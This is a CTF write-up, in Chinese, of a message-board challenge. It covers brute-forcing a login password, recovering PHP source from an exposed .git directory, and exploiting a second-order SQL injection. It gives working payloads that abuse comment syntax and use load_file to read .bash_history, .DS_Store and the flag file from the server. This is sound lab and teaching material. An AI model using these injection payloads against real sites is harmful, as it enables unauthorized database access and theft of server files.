
这次题目是个留言板,点击发帖可以留言:
但是点击提交后会跳转到登录页面,并且注意到输入框中有提示:
密码的后三位是*,拿出burpsuit,爆破,最后得到密码是zhangwei666。
因为题目提示是sql,所以使用sqlmap扫一下,但是没扫出来任何注入点。
继续使用dirsearch扫描网站,最后发现了一个.git目录。使用Git_Extract将源码下载下来:
<?phpinclude "mysql.php";session_start();if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();}if(isset($_GET['do'])){switch ($_GET['do']){case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;default:header("Location: ./index.php");}}else{header("Location: ./index.php");}?>
可以看到,基本上全部语句都被加上了addslashes过滤,但是唯独有一处没有,就是提交留言处:
$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);
这里代码从数据库中拿到category的内容后,直接就进行了mysql查询,而category的内容是我们自己控制的,这里就造成了二次注入。
(虽然前面有addslashes函数过滤,但是插入到数据库后,是不会有\的。)
所以可以构造payload:
123',content=user(),/*
接着在留言处提交
*/#
结合起来就是
$sql = "insert into commentset category = '123',content=user(),/*',content = '*/#',bo_id = '$bo_id'";
得到回显:
接下来继续找flag位置,但这里我找不到了,最后看writeup才知道,还要读取bash_history,看到.DS_Store的位置,并且去读取,最后才知道flag的位置。
payload:
123',content=(select hex(load_file("/home/www/.bash_history"))),/*123',content=(select hex(load_file("/tmp/.DS_Store"))),/*123',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*123',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
